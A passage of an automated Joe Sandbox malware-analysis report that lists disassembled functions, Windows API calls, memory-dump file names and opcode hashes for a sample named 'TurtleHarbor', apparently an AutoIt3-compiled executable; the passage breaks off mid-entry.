                                            • CoTaskMemFree.OLE32(?,?), ref: 0037DDE7
                                            • _memset.LIBCMT ref: 0037DE24
                                            • SHBrowseForFolderW.SHELL32(?), ref: 0037DE60
                                            • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0037DE83
                                            • CoTaskMemFree.OLE32(00000000), ref: 0037DE8A
                                            • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 0037DEC1
                                            • CoUninitialize.OLE32(00000001,00000000), ref: 0037DEC3
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                            • String ID:
                                            • API String ID: 1246142700-0
                                            • Opcode ID: c8c12abdae8628639d4d34ad23b65c497463947f97a6de931371c5ea92e707b2
                                            • Instruction ID: 5f4a661ebc2034ab5489e2231004b1c134d4a38773a90e05dd7072b114798d9e
                                            • Opcode Fuzzy Hash: c8c12abdae8628639d4d34ad23b65c497463947f97a6de931371c5ea92e707b2
                                            • Instruction Fuzzy Hash: 5DB1F975A00109AFDB16DFA4C888DAEBBB9FF89304F158459F909EB251DB34EE41CB50
                                            Function 0037081B Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyboardState.USER32(?), ref: 00370896
                                            • SetKeyboardState.USER32(?), ref: 00370901
                                            • GetAsyncKeyState.USER32(000000A0), ref: 00370921
                                            • GetKeyState.USER32(000000A0), ref: 00370938
                                            • GetAsyncKeyState.USER32(000000A1), ref: 00370967
                                            • GetKeyState.USER32(000000A1), ref: 00370978
                                            • GetAsyncKeyState.USER32(00000011), ref: 003709A4
                                            • GetKeyState.USER32(00000011), ref: 003709B2
                                            • GetAsyncKeyState.USER32(00000012), ref: 003709DB
                                            • GetKeyState.USER32(00000012), ref: 003709E9
                                            • GetAsyncKeyState.USER32(0000005B), ref: 00370A12
                                            • GetKeyState.USER32(0000005B), ref: 00370A20
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: State$Async$Keyboard
                                            • String ID:
                                            • API String ID: 541375521-0
                                            • Opcode ID: cc6c23d90620a6402860bd15ae5bea327facabca71e012be45e32a83b913380d
                                            • Instruction ID: 62a6d272d8ad6366772f712b28f96b5539e9b828494aabf4396b3a4f084693f1
                                            • Opcode Fuzzy Hash: cc6c23d90620a6402860bd15ae5bea327facabca71e012be45e32a83b913380d
                                            • Instruction Fuzzy Hash: D051DE3090478869FB3AD7B484547EABFB49F02380F09C59DD5C95B1C3DAAC9A4CCB92
                                            Function 0036CE00 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDlgItem.USER32(?,00000001), ref: 0036CE1C
                                            • GetWindowRect.USER32(00000000,?), ref: 0036CE2E
                                            • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0036CE8C
                                            • GetDlgItem.USER32(?,00000002), ref: 0036CE97
                                            • GetWindowRect.USER32(00000000,?), ref: 0036CEA9
                                            • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0036CEFD
                                            • GetDlgItem.USER32(?,000003E9), ref: 0036CF0B
                                            • GetWindowRect.USER32(00000000,?), ref: 0036CF1C
                                            • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0036CF5F
                                            • GetDlgItem.USER32(?,000003EA), ref: 0036CF6D
                                            • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0036CF8A
                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 0036CF97
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$ItemMoveRect$Invalidate
                                            • String ID:
                                            • API String ID: 3096461208-0
                                            • Opcode ID: 953353c1c1e4edd304f339b3db5f1656eddf8d915c0c095af75c2275e4ac42d0
                                            • Instruction ID: 754121fc2d54da44360d75dd2bdbd46a6a3017faf579e9865e3b8c7e0783ffad
                                            • Opcode Fuzzy Hash: 953353c1c1e4edd304f339b3db5f1656eddf8d915c0c095af75c2275e4ac42d0
                                            • Instruction Fuzzy Hash: 92518F71B10205AFDB19CFA8CD89ABEBBBAEB88311F14812DF516D7294D770AD008B50
                                            Function 00312581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129AB: GetWindowLongW.USER32(?,000000EB), ref: 003129BC
                                            • GetSysColor.USER32(0000000F), ref: 003125AF
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ColorLongWindow
                                            • String ID:
                                            • API String ID: 259745315-0
                                            • Opcode ID: 5ea5155ba7cc4c511fd03ef02c6cc5091dd599f1aa3d9b52ffdfddbe90211ad8
                                            • Instruction ID: acc7cb4f17494aef5d081d6e290870575b3de42398737f347cd7787792a78f62
                                            • Opcode Fuzzy Hash: 5ea5155ba7cc4c511fd03ef02c6cc5091dd599f1aa3d9b52ffdfddbe90211ad8
                                            • Instruction Fuzzy Hash: 6541C531104144AFDB2B5F28AC88BFA376AEB0E331F164261FD658E1E1D7B08C91DB25
                                            Function 003229BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00330B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00322A3E,?,00008000), ref: 00330BA7
                                              • Part of subcall function 00330284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00322A58,?,00008000), ref: 003302A4
                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00322ADF
                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00322C2C
                                              • Part of subcall function 00323EBE: _wcscpy.LIBCMT ref: 00323EF6
                                              • Part of subcall function 0033386D: _iswctype.LIBCMT ref: 00333875
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                            • String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                            • API String ID: 537147316-3738523708
                                            • Opcode ID: 3a41be106610896becc4e182c4602a6f82f25f1de979c9ef99d40083b7a8a0be
                                            • Instruction ID: 35fbcf9a633626fd32e5aa7e36345ba22c6b77bb740f129dc78e31d4e0574b17
                                            • Opcode Fuzzy Hash: 3a41be106610896becc4e182c4602a6f82f25f1de979c9ef99d40083b7a8a0be
                                            • Instruction Fuzzy Hash: DD02B2701083519FC726EF24D881EAFBBE5EF95314F10491DF8999B2A2DB30DA49CB42
                                            Function 00314D37 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __i64tow__itow__swprintf
                                            • String ID: %.15g$0x%p$False$True
                                            • API String ID: 421087845-2263619337
                                            • Opcode ID: 96c8f4db720d56b6ebfef9a889180070a8f4aa239c1b366e864414359d4897a6
                                            • Instruction ID: 2fb86e0b09a9efac95465e65f3f6ce58ea5215a99a2cf164aa9830f78327d500
                                            • Opcode Fuzzy Hash: 96c8f4db720d56b6ebfef9a889180070a8f4aa239c1b366e864414359d4897a6
                                            • Instruction Fuzzy Hash: B541BB715042059FDF3AEF74D982EBA73E8EF49300F24445EE549DF292EA71A941C711
                                            Function 00397777 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0039778F
                                            • CreateMenu.USER32 ref: 003977AA
                                            • SetMenu.USER32(?,00000000), ref: 003977B9
                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00397846
                                            • IsMenu.USER32(?), ref: 0039785C
                                            • CreatePopupMenu.USER32 ref: 00397866
                                            • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00397893
                                            • DrawMenuBar.USER32 ref: 0039789B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                            • String ID: 0$F
                                            • API String ID: 176399719-3044882817
                                            • Opcode ID: 725b7c5cde01e42607e77c727840800bde8676fca1189282ba7949fb08e61f4d
                                            • Instruction ID: 6bc9020a0a0d3eeaba13853d9d301692301bf7f25f1f8a1a7d7ecd9e54d6f1ab
                                            • Opcode Fuzzy Hash: 725b7c5cde01e42607e77c727840800bde8676fca1189282ba7949fb08e61f4d
                                            • Instruction Fuzzy Hash: C2417C74A14209EFDF16DF64D889AAA7BF9FF4A310F154429F905A73A0D730A910DF50
                                            Function 00397AE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00397B83
                                            • CreateCompatibleDC.GDI32(00000000), ref: 00397B8A
                                            • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00397B9D
                                            • SelectObject.GDI32(00000000,00000000), ref: 00397BA5
                                            • GetPixel.GDI32(00000000,00000000,00000000), ref: 00397BB0
                                            • DeleteDC.GDI32(00000000), ref: 00397BB9
                                            • GetWindowLongW.USER32(?,000000EC), ref: 00397BC3
                                            • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00397BD7
                                            • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00397BE3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                            • String ID: static
                                            • API String ID: 2559357485-2160076837
                                            • Opcode ID: 3d8c85c1ddb9ebfae151e505a75b2c7e73f4d36e682838a7d61f8eca9ad7fa72
                                            • Instruction ID: 7e3f198318f680644f77dc8fecede711b9be08bdc2e710020c94c59c6713523a
                                            • Opcode Fuzzy Hash: 3d8c85c1ddb9ebfae151e505a75b2c7e73f4d36e682838a7d61f8eca9ad7fa72
                                            • Instruction Fuzzy Hash: 6E315632114219ABDF169FA4DC49FEB3B6DFF0A320F110215FA55A61A0C731E821DBA4
                                            Function 00337030 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 0033706B
                                              • Part of subcall function 00338D58: __getptd_noexit.LIBCMT ref: 00338D58
                                            • __gmtime64_s.LIBCMT ref: 00337104
                                            • __gmtime64_s.LIBCMT ref: 0033713A
                                            • __gmtime64_s.LIBCMT ref: 00337157
                                            • __allrem.LIBCMT ref: 003371AD
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003371C9
                                            • __allrem.LIBCMT ref: 003371E0
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003371FE
                                            • __allrem.LIBCMT ref: 00337215
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00337233
                                            • __invoke_watson.LIBCMT ref: 003372A4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                            • String ID:
                                            • API String ID: 384356119-0
                                            • Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
                                            • Instruction ID: af9a0b020bc7c5cb100549819213dbb7a8d9100d0e694e8a29e902c756338f6d
                                            • Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
                                            • Instruction Fuzzy Hash: BE71F6B2A04707ABD7269E79CCC1B5AB3E8AF11360F15463AF914EB681E770ED408790
                                            Function 00372CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 00372CE9
                                            • GetMenuItemInfoW.USER32(003D7890,000000FF,00000000,00000030), ref: 00372D4A
                                            • SetMenuItemInfoW.USER32(003D7890,00000004,00000000,00000030), ref: 00372D80
                                            • Sleep.KERNEL32(000001F4), ref: 00372D92
                                            • GetMenuItemCount.USER32(?), ref: 00372DD6
                                            • GetMenuItemID.USER32(?,00000000), ref: 00372DF2
                                            • GetMenuItemID.USER32(?,-00000001), ref: 00372E1C
                                            • GetMenuItemID.USER32(?,?), ref: 00372E61
                                            • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00372EA7
                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00372EBB
                                            • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00372EDC
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                            • String ID:
                                            • API String ID: 4176008265-0
                                            • Opcode ID: d0fc7047cd73bbece87e6c4121bf899744ef9a6d7080e372f28407b8e5060bce
                                            • Instruction ID: 70f5d7b1a2258eeb601175fc3736c4260348a7f767560e3dda60022bd5e0822e
                                            • Opcode Fuzzy Hash: d0fc7047cd73bbece87e6c4121bf899744ef9a6d7080e372f28407b8e5060bce
                                            • Instruction Fuzzy Hash: C861BE70900249AFDB36CF64DC88ABFBBBCEB02304F158459F859A7651D739AD05DB20
                                            Function 00397548 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 003975CA
                                            • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 003975CD
                                            • GetWindowLongW.USER32(?,000000F0), ref: 003975F1
                                            • _memset.LIBCMT ref: 00397602
                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00397614
                                            • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0039768C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$LongWindow_memset
                                            • String ID:
                                            • API String ID: 830647256-0
                                            • Opcode ID: 1c16e0b4fd086b457dd61c24b22c2f8b5849fccc87a357268bed24095f8804d9
                                            • Instruction ID: 2ee339f109ebdb3a135779d69c530a3ae6b587e34fbbfa084c1f0ee66344b672
                                            • Opcode Fuzzy Hash: 1c16e0b4fd086b457dd61c24b22c2f8b5849fccc87a357268bed24095f8804d9
                                            • Instruction Fuzzy Hash: F4616F75904208AFDB12DFA4DC85EEE77F8EB49710F100156FA15AB2E1D770AE41DB50
                                            Function 003677B6 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 003677DD
                                            • SafeArrayAllocData.OLEAUT32(?), ref: 00367836
                                            • VariantInit.OLEAUT32(?), ref: 00367848
                                            • SafeArrayAccessData.OLEAUT32(?,?), ref: 00367868
                                            • VariantCopy.OLEAUT32(?,?), ref: 003678BB
                                            • SafeArrayUnaccessData.OLEAUT32(?), ref: 003678CF
                                            • VariantClear.OLEAUT32(?), ref: 003678E4
                                            • SafeArrayDestroyData.OLEAUT32(?), ref: 003678F1
                                            • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 003678FA
                                            • VariantClear.OLEAUT32(?), ref: 0036790C
                                            • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00367917
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                            • String ID:
                                            • API String ID: 2706829360-0
                                            • Opcode ID: 192f3306e4f12b0301b426469495c14c1350c1b62abc49acbd1d7bca0450cde1
                                            • Instruction ID: d5f6783ce0d530a945379bb40b71c4e584baafe6fe141e0bd6b9bc8c5a12144c
                                            • Opcode Fuzzy Hash: 192f3306e4f12b0301b426469495c14c1350c1b62abc49acbd1d7bca0450cde1
                                            • Instruction Fuzzy Hash: AE415135A042199FCB06DFA5D8489EDBBB9FF4D344F40C069E955AB261CB30AD45CF90
                                            Function 00388AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • CoInitialize.OLE32 ref: 00388AED
                                            • CoUninitialize.OLE32 ref: 00388AF8
                                            • CoCreateInstance.OLE32(?,00000000,00000017,003A3BBC,?), ref: 00388B58
                                            • IIDFromString.OLE32(?,?), ref: 00388BCB
                                            • VariantInit.OLEAUT32(?), ref: 00388C65
                                            • VariantClear.OLEAUT32(?), ref: 00388CC6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                            • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                            • API String ID: 834269672-1287834457
                                            • Opcode ID: 073c120354c7ab8273e8183032baa3e7db1370a5482e6e648ffacd04508d32ab
                                            • Instruction ID: 3155ced8fecdd9f76cddd33b049412373328785c46ed1da9f1ae174c9ea084bb
                                            • Opcode Fuzzy Hash: 073c120354c7ab8273e8183032baa3e7db1370a5482e6e648ffacd04508d32ab
                                            • Instruction Fuzzy Hash: B161B0702087019FC716EF64C885F6AF7E8AF89714F50488DF5859B291DB74ED48CBA2
                                            Function 00385E1D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WSAStartup.WSOCK32(00000101,?), ref: 00385E7E
                                            • inet_addr.WSOCK32(?,?,?), ref: 00385EC3
                                            • gethostbyname.WSOCK32(?), ref: 00385ECF
                                            • IcmpCreateFile.IPHLPAPI ref: 00385EDD
                                            • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00385F4D
                                            • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00385F63
                                            • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00385FD8
                                            • WSACleanup.WSOCK32 ref: 00385FDE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                            • String ID: Ping
                                            • API String ID: 1028309954-2246546115
                                            • Opcode ID: 23da2c1a3f164f32c287e0508edd3a2ff38f598a972bc378d978a778cd4f32c1
                                            • Instruction ID: ce023dcc56880df951f181ebfc1314bd010a4ef0da4673827227f467c6d46d13
